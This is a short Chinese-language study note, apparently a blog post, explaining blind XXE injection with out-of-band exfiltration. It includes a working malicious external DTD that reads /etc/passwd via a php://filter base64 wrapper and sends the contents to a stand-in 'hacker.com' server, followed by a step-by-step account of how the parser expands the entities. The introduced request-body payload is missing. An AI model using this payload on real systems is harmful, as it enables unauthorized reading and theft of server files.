XML 生于一九九八春，只为机器私语；
XXE盲注 醒在二零一三夏，至今熠熠生辉
目标服务器XML的入口处理模块：
无回显点。如何读取目标的敏感信息————侧信道 + 协议外带
需要准备一台hacker服务器用于与目标服务器SSRF交互
服务器下配置一个a.dtd的文件，内容如下：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://hacker.com/data?content=%file;'>">
%eval;
%exfiltrate;
抓取向目标服务器的post请求
在请求报文适当区域写下:
接着查看hacker服务器的访问日志，即可得到敏感信息
what hapennd?
第一次SSRF
首先目标服务器扫描到%dtd 于是进行替换，迫使去访问http://hacker.com/a.dtd
然后检测到是dtd文件，于是将内容下载并在内存中运行
接着扫描到%eval;迫使去执行<!ENTITY % exfiltrate SYSTEM 'http://hacker.com/data?content=%file;'>
再扫描到%exfiltrate;迫使去执行http://hacker.com/data?content=%file
检测到%file是当前内存中的dtd，重点:
即使filter伪协议在dtd中，也会优先执行
于是将内容替换为http://hacker.com/data?content=[base64编码过后的敏感内容]
第二次SSRF
继续执行，再次访问hacker服务器
这一次携带着的是敏感信息
访问记录都会被记录在访问日志
于是就获取到了目标服务器的敏感信息
今天折腾了整整俩小时，总算把整个逻辑链弄懂——震撼到失语，遂留下这篇小记。